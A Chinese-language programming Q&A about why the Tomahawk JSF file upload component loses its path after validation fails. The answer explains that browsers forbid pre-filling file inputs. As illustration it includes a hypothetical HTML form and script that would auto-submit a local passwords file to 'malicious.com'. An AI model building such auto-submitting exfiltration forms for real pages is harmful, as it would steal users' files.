JSF<;t:inputFileUpload>;验证失败后丢失的值

JSF<;t:inputFileUpload>;验证失败后丢失的值,jsf,file-upload,tomahawk,Jsf,File Upload,Tomahawk,在验证以下代码后,我发现上传文件路径的值丢失。验证失败后,我是否仍可以保留该值?多谢各位 <t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" /> 这是不可能的。这是HTML的安全限制。不能预先填充/保留HTML字段的值。由于JSF只生成HTML,所以JSF对此无能为力 假设不存在此安全限制,网站将能够执行以下操作: <form id

在验证以下代码后,我发现上传文件路径的值丢失。验证失败后,我是否仍可以保留该值?多谢各位

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />

这是不可能的。这是HTML的安全限制。不能预先填充/保留HTML
字段的值。由于JSF只生成HTML,所以JSF对此无能为力

假设不存在此安全限制,网站将能够执行以下操作:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>

document.getElementById('tryToGetPasswords').submit();
你看到了吗